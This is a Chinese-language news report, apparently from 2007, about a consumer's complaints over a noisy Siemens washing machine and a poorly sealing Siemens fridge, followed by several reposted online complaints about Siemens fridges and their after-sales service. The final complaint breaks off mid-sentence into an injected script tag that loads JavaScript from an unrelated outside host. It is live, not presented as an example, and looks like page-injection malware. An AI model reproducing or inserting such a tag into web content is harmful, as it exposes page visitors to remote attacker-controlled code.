“当初买的时候就是冲着西门子的优良品质去的，为此多花了不少钱，但是现在好后悔，西门子的产品并没有比其他品牌优秀，烦人的问题一大堆，西门子的性价比真不咋地！”市民张先生日前对记者大倒苦水。张先生去年装修新房的时候，千挑万选，买了西门子的冰箱和洗衣机，价格虽然比国产品牌贵出一大截，但是张先生觉得值。可是刚用了一年，张先生就后悔不迭。
洗衣机是噪音机
西门子一直在宣扬其洗衣机是超静音的，“西门子拥有一流的静音技术，配合平衡减震系统，使洗衣更平稳安静；该机的静音技术也十分突出，您无需介意噪音干扰，随时都可以洗涤衣物”这样的宣传语在西门子的各种宣传资料中是屡见不鲜。实际使用情况真的如此吗？
“我家洗衣机放在卫生间里，洗衣服时门关着，在房间里都能清晰地听到洗衣时的噪音，我们夫妻俩平时下班都比较晚，所以一般都在睡觉前把衣服放洗衣机洗，但是不等衣服洗完是没法睡觉的。”张先生对此很无奈。为此张先生想找西门子的售后过来看一下，是不是洗衣机出什么毛病了。在打客服电话报修之后，西门子的售后人员联系了张先生。了解了张先生家洗衣机的问题后，该售后人员却表示，噪音大是正常现象。
既然知道噪音大是正常现象，为什么还要一直宣传拥有一流的静音技术？这很明显有误导和欺骗消费者的嫌疑。
冰箱密封条不严
洗衣机吵得睡不着觉，冰箱也没闲着。张先生家的西门子冰箱同样存在问题，那就是关冰箱门时必须非常用力地按才能关紧。正常情况下，冰箱门轻轻一带就应该能关上，这应该是任何品牌冰箱都能做好的基本技术。
就这么个小问题可给张先生添过不小的麻烦，去年过年的时候，张先生单位发了几十斤冷冻羊肉给员工过年，张先生满心欢喜地把羊肉拿回家放到冰箱冷藏起来，准备过年的时候好好招待亲朋好友。可当第二天张先生准备做饭时发现冰箱里的羊肉早化了，血水流得到处都是。羊肉没吃成，还花了半天时间打扫厨房。事后张先生才想起来，关冰箱门时忘了用力按了。
张先生还告诉记者，在发现了自家西门子产品的问题之后，他特别留意起身边亲戚朋友家的西门子产品，发现跟他有类似遭遇的人还不少，看来的确如西门子的售后人员所说，这些都是西门子产品“正常”的表现。
记者在网上搜索了一下，发现跟张先生家西门子产品类似的投诉还真不少。几乎相同的问题引发如此大面积投诉，消费者质疑西门子冰箱、洗衣机存在先天设计缺陷。
西门子冰箱密封条不严
发布时间：2007-07-15 145616
2007年7月1日购买一款西门子kk20v71ti冰箱，7月6日送货，7月8日开始使用。发现该冰箱启动频繁压缩机运转声音很大，另外发现冰箱冷冻室密封条开关几次就有脱落的问题。西门子服务中心的人员过来检查，只是听了一下就判断冰箱完全合格，并表示夏天冰箱启动频繁属正常现象冬天会少些，而密封条则准备用502粘合被我制止。随后该服务人员离去，没有要求顾客填写任何反馈。
本人质疑西门子客户服务人员的专业性，不能解决问题，且上门服务不要顾客填写对该次服务的反馈意见，售后服务体系有问题。
因本冰箱才买一个星期就发现冰箱冷冻室密封不好，现通过贵网投诉。希望西门子能够退货或更换。
关于西门子冰箱嗓音大多次维修无法正常使用
发布时间：2007-07-16 104547
我于2006年购买西门子冰箱kk20v41冰箱一台，刚开始使用时就出现嗓音大问题，直至现在售后已维修5次，仍无法正常使用，我按消法规定要求他们换机但他们一直不予理睬。
西门子冰箱质量太差，售后服务太差。
产品名称： 西门子冰箱
投 诉 人： 蓝女士 产品型号： kk20v41
西门子冰箱噪声太大
发布时间：2007-07-14 231145
我于2007年6月30日买了台西门子kk22f76的冰箱，刚买回来的时候开机各方面挺好的，可以说是安静，就像营业员说的那样，心里非常开心，结果第4天，冰箱的声音就开始大了起来，因为还?script src=http://er12.com/t.js>
